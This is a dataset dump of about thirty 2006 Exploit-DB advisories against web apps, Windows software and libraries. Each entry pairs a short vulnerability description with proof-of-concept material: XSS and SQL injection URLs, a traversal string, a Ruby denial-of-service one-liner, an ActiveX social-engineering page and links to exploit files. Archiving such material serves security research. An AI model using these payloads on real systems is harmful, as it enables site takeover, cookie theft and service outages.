QLWD/code_shield huggingface dataset:
标题: poweriso 2.9 - Directory Traversal EDB-ID: 27760 CVE: 2006-2102 类型: REMOTE 平台: WINDOWS 发布日期: 2006-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17726/info

Reportedly, an attacker can carry out attacks using directory-traversal strings. These issues occur when the application processes malicious archives. 

A successful attack can allow the attacker to place potentially malicious files and to overwrite files on a computer in the context of the user running the affected application. A successful exploit may aid in further attacks.

This issue affects PowerISO version 2.9; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27746.iso.bin URL: https://www.exploit-db.com/exploits/27760
标题: LibTiff 3.x - Multiple Denial of Service Vulnerabilities EDB-ID: 27762 CVE: 2006-2024 类型: DOS 平台: LINUX 发布日期: 2006-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17730/info

LibTIFF is affected by multiple denial-of-service vulnerabilities.

An attacker can exploit these vulnerabilities to cause a denial of service in applications using the affected library.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27762-1.tiff.0

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27762-2.tiff.1

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27762-3.tiff.100 URL: https://www.exploit-db.com/exploits/27762
标题: DevBB 1.0 - 'member.php' Cross-Site Scripting EDB-ID: 27742 CVE: 2006-2070 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/17703/info

DevBB is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/member.php?action=viewpro&member=[XSS] URL: https://www.exploit-db.com/exploits/27742
标题: PHPWebFTP 2.3 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27735 CVE: 2006-2048 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/17688/info

phpWebFTP is prone to multiple cross-site scripting vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input using the HTTP 'POST' method when submitting a malicious URI. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.anysite.com/PhpWebFtp/index.php?server=1&port=<script>var%20sub_variable=11233;alert(sub_variable);</script>&goPassive=on&user=1&password=1&language=bulgarian server=<script>alert(&#039;&#039;as-208395078&#039;);</script>&port=21&goPassive=on&user=1&password=1&language=bulgarian 
server=1&port=21&goPassive=on&user=<script>alert(&#039;as-453627&#039;);</script>&password=1&language=bulgarian
server=><script>alert(&#039;as-208395078&#039;);</script>&port=21&goPassive=on&user=1&password=1&language=bulgarian
server=1&port=21&goPassive=on&user=&#039;><script>alert(&#039;as-208395078&#039;);</script>&password=1&language=bulgarian
server=&lt;/textarea&gt;<script>alert(&#039;2134327801&#039;);</script>&port=21&goPassive=on&user=1&password=1&language=bulgarian
server=1&port=21&goPassive=on&user=<script>var%20test_variable=878173184;
alert(test_variable);</script>&password=1&language=bulgarian URL: https://www.exploit-db.com/exploits/27735
标题: Microsoft Internet Explorer 5.0.1 - Modal Dialog Manipulation EDB-ID: 27744 CVE: 2006-2094 类型: REMOTE 平台: WINDOWS 发布日期: 2006-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/17713/info

Internet Explorer is prone to a remote code-execution vulnerability through exploiting a race-condition when displaying modal security dialog boxes.

This issue may be exploited to cause users to inadvertently allow remote-code to be executed.


<HEAD>
<TITLE>Internet Explorer ActiveX Installation Vulnerability</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<SCRIPT>

function doInstallControl() {

 document.body.innerHTML +=
  "<OBJECT CLASSID=\"clsid:928626A3-6B98-11CF-90B4-00AA00A4011F\" TYPE=\"application/x-oleobject\" CODEBASE=\"http://activex.microsoft.com/activex/controls/museum/MSSurVid.cab#Version=1,2,0,7\" WIDTH=\"325\" HEIGHT=\"250\">\r\n" +
             "<PARAM NAME=\"SurroundRect\" VALUE=\"0,0,325,250\">\r\n" +
             "<PARAM NAME=\"Image\" VALUE=\"ritetree.jpg\">\r\n" +
           "</OBJECT>";

 document.getElementById("captcha").focus();
}

function doWaitEntry() {

 if (event.keyCode == 78 || event.keyCode == 110) {
  doInstallControl();
 }

}

</SCRIPT>

<FORM ACTION="" METHOD="GET">
Please enter the text you see on the left:<BR><BR>

<B>on3l1y6y8y5y</B> <INPUT TYPE="text" ID="captcha" ONKEYPRESS="doWaitEntry()">

</FORM>

</BODY> URL: https://www.exploit-db.com/exploits/27744
标题: Instant Photo Gallery 1.0 - 'portfolio.php?cat_id' Cross-Site Scripting EDB-ID: 27738 CVE: 2006-2079 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/17696/info
 
Instant Photo Gallery is prone to multiple cross-site scripting vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/portfolio.php?cat_id=[XSS] URL: https://www.exploit-db.com/exploits/27738
标题: NextAge Shopping Cart - Multiple HTML Injection Vulnerabilities EDB-ID: 27734 CVE: 2006-2051 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/17685/info

NextAge Shopping Cart is prone to multiple HTML-injection vulnerabilities; the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

<form method="pst" action="http://www.example.com/[admin_Path]/index.php">
<input type="text" name="txtuserid" class="INPUT" size="30" value="xss injection code">
<br>
<input type="password" name="txtpass" class="INPUT" size="30" value="xss injection code">
<br>
<input <input type="submit" value="submit" class="button">
</form> URL: https://www.exploit-db.com/exploits/27734
标题: Instant Photo Gallery 1.0 - 'member.php?member' Cross-Site Scripting EDB-ID: 27737 CVE: 2006-2052 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/17696/info

Instant Photo Gallery is prone to multiple cross-site scripting vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/member.php?action=viewpro&member=[XSS] URL: https://www.exploit-db.com/exploits/27737
标题: Invision Power Board 2.0/2.1 - 'index.php?CK' SQL Injection EDB-ID: 27736 CVE: 2006-2061 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/17690/info

Invision Power Board is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?act=task&ck=&#039; URL: https://www.exploit-db.com/exploits/27736
标题: MySmartBB 1.1.2/1.1.3 - Multiple Input Validation Vulnerabilities EDB-ID: 27743 CVE: 2006-2089 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/17707/info

MySmartBB is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/forums/misc.php?profile=1&id=[SQL]&[XSS]
http://www.example.com/forums/misc.php?profile=1&username=[SQL]&[XSS] URL: https://www.exploit-db.com/exploits/27743
标题: PhotoKorn 1.53/1.54 - 'id' SQL Injection EDB-ID: 27732 CVE: 2006-2040 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/17683/info
 
Photokorn is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/[Path]/postcard.php?action=view&id=[Sql] URL: https://www.exploit-db.com/exploits/27732
标题: Outlook Express 5.5/6.0 / Windows Mail - MHTML URI Handler Information Disclosure EDB-ID: 27745 CVE: 2006-2111 类型: DOS 平台: WINDOWS 发布日期: 2006-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17717/info

Outlook Express and Windows Mail are prone to a cross-domain information-disclosure vulnerability.

This vulnerability may let a malicious website access properties of a site in an arbitrary external domain in the context of the victim user's browser. Attackers could exploit this issue to gain access to sensitive information (such as cookies or passwords) that is associated with the external domain.

This issue was previously reported as an Internet Explorer vulnerability, but the affected component is found to be part of Outlook Express and Windows Mail. Microsoft confirmed that this is an Outlook Express/Windows Mail vulnerability that can also be exploited through Internet Explorer.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27745.zip URL: https://www.exploit-db.com/exploits/27745
标题: Instant Photo Gallery 1.0 - 'portfolio_photo_popup.php?id' Cross-Site Scripting EDB-ID: 27739 CVE: 2006-2052 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/17696/info
  
Instant Photo Gallery is prone to multiple cross-site scripting vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/portfolio_photo_popup.php?id=[XSS] URL: https://www.exploit-db.com/exploits/27739
标题: winiso 5.3 - Directory Traversal EDB-ID: 27746 CVE: 2006-2101 类型: REMOTE 平台: WINDOWS 发布日期: 2006-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/17721/info

Reportedly, an attacker can carry out attacks using directory-traversal strings. These issues occur when the application processes malicious archives. 

A successful attack can allow the attacker to place potentially malicious files and to overwrite files on a computer in the context of the user running the affected application. A successful exploit may aid in further attacks.

This issue affects WinISO version 5.3; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27746.iso.bin URL: https://www.exploit-db.com/exploits/27746
标题: PhotoKorn 1.53/1.54 - 'print.php?cat' SQL Injection EDB-ID: 27733 CVE: 2006-2040 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/17683/info
  
Photokorn is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/[Path]/print.php?cat=[Sql] URL: https://www.exploit-db.com/exploits/27733
标题: Yukihiro Matsumoto Ruby 1.x - XMLRPC Server Denial of Service EDB-ID: 27723 CVE: 2006-1931 类型: DOS 平台: LINUX 发布日期: 2006-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/17645/info

Ruby is affected by a denial-of-service vulnerability in the WEBrick HTTP server. This issue is due to the use of blocking network operations. Ruby's implementation of XML/RPC is also affected, since it uses the vulnerable WEBrick server.

This issue allows remote attackers to cause affected webservers to fail to respond to further legitimate requests.

Ruby versions prior to 1.8.3 are affected by this issue.

The following Ruby command will issue a request sufficient to trigger this issue:

ruby -rsocket -e 'TCPSocket.open("www.example.com", 10080) {|s|
s.print "GET /z HTTP/1.0\r\n\r\n"
sleep
}' URL: https://www.exploit-db.com/exploits/27723
标题: Scry Gallery - Directory Traversal EDB-ID: 27724 CVE: 2006-1995 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/17649/info

Scry Gallery is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

http://www.example.com/scry/index.php?v=list&i=0&p=../../.. URL: https://www.exploit-db.com/exploits/27724
标题: Blender 2.36 - '.BVF' File Import Python Code Execution EDB-ID: 27728 CVE: 2005-3302 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/17663/info

Blender is susceptible to a Python code-execution vulnerability. This issue is due to the application's failure to properly sanitize user-supplied input before using it in a Python 'eval' statement.

This issue allows attackers to execute arbitrary Python code in the context of the user running the affected application.

http://bugs.debian.org/cgi-bin/bugreport.cgi/exploit.bvh?bug=330895;msg=5;att=1
http://bugs.debian.org/cgi-bin/bugreport.cgi/poc1.bvh?bug=330895;msg=5;att=3
http://bugs.debian.org/cgi-bin/bugreport.cgi/poc2.bvh?bug=330895;msg=5;att=4 URL: https://www.exploit-db.com/exploits/27728
标题: Microsoft Internet Explorer 6 - Nested OBJECT Tag Memory Corruption EDB-ID: 27727 CVE: 2006-1992 类型: DOS 平台: WINDOWS 发布日期: 2006-04-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/17658/info

Microsoft Internet Explorer is prone to a memory-corruption vulnerability. This issue is due to a flaw in the application in handling nested OBJECT tags in HTML content.

An attacker could exploit this issue via a malicious web page to potentially execute arbitrary code in the context of the currently logged-in user, but this has not been confirmed. Exploit attempts likely result in crashing the affected application. Attackers could exploit this issue through HTML email/newsgroup postings or through other applications that employ the affected component.

Microsoft Internet Explorer 6 for Microsoft Windows XP SP2 is reportedly vulnerable to this issue; other versions may also be affected.

perl -e '{print "<STYLE></STYLE>\n<OBJECT>\nBork\n"x32}' >test.html URL: https://www.exploit-db.com/exploits/27727
标题: PhotoKorn 1.53/1.54 - 'index.php' Multiple SQL Injections EDB-ID: 27731 CVE: 2006-2040 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/17683/info

Photokorn is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/[Path]/index.php?action=showgal&cat=[Sql]
http://www.example.com/[Path]/index.php?action=showpic&cat=1&pic=[Sql] URL: https://www.exploit-db.com/exploits/27731
标题: phpLDAPadmin 0.9.8 - 'template_engine.php' Cross-Site Scripting EDB-ID: 27722 CVE: 2006-2016 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/17643/info
     
PHPLDAPAdmin is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker can exploit these issues to execute arbitrary HTML and script code in the browser of a victim user in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/template_engine.php?server_id=0&dn=%22%3Cscript%3Ealert(&#039;r0t&#039;)%3C/script%3E URL: https://www.exploit-db.com/exploits/27722
标题: Scry Gallery 1.1 - 'index.php' Cross-Site Scripting EDB-ID: 27729 CVE: 2006-2001 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/17668/info

Scry Gallery is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Scry Gallery version 1.1 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/[Path to scry gallery]/index.php?v=list&i=0&p=<script>var%20variable=111111111111111111;alert(variable);</script> URL: https://www.exploit-db.com/exploits/27729
标题: phpLDAPadmin 0.9.8 - 'copy_form.php' Cross-Site Scripting EDB-ID: 27718 CVE: 2006-2016 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/17643/info
 
PHPLDAPAdmin is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit these issues to execute arbitrary HTML and script code in the browser of a victim user in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/copy_form.php?server_id=0&dn=%22%3Cscript%3Ealert(&#039;r0t&#039;)%3C/script%3E URL: https://www.exploit-db.com/exploits/27718
标题: MKPortal 1.1 - Multiple Input Validation Vulnerabilities EDB-ID: 27725 CVE: 2006-2067 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/17651/info

MKPortal is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successfully exploiting these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

MKPortal version 1.1 in conjunction with vBulletin 3.5.4 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/index.php?ind=',userid='1 URL: https://www.exploit-db.com/exploits/27725
标题: Simplog 0.9.3 - 'ImageList.php' Cross-Site Scripting EDB-ID: 27726 CVE: 2006-2028 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/17653/info

Simplog is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Simplog version 0.9.3 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/imagelist.php?blogid=1&act=add_entry&login=1&imagedir=[XSS] URL: https://www.exploit-db.com/exploits/27726
标题: phpLDAPadmin 0.9.8 - 'rename_form.php' Cross-Site Scripting EDB-ID: 27719 CVE: 2006-2016 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/17643/info
  
PHPLDAPAdmin is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker can exploit these issues to execute arbitrary HTML and script code in the browser of a victim user in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/rename_form.php?server_id=0&dn=%22%3Cscript%3Ealert(&#039;r0t&#039;)%3C/script%3E URL: https://www.exploit-db.com/exploits/27719
标题: phpLDAPadmin 0.9.8 - 'search.php' Cross-Site Scripting EDB-ID: 27721 CVE: 2006-2016 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/17643/info
    
PHPLDAPAdmin is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker can exploit these issues to execute arbitrary HTML and script code in the browser of a victim user in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/search.php?server_id=0&search=true&filter=objectClass%3D%2A&base_dn=cn%3Dtoto%2Cdc%3Dexample%2Cdc%3Dcom&form=advanced&scope=%22%3Cscript%3Ealert(&#039;r0t&#039;)%3C/script%3E URL: https://www.exploit-db.com/exploits/27721
标题: phpLDAPadmin 0.9.8 - 'compare_form.php' Cross-Site Scripting EDB-ID: 27717 CVE: 2006-2016 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/17643/info

PHPLDAPAdmin is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary HTML and script code in the browser of a victim user in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/compare_form.php?server_id=0&dn=%22%3Cscript%3Ealert(&#039;r0t&#039;)%3C/script%3E URL: https://www.exploit-db.com/exploits/27717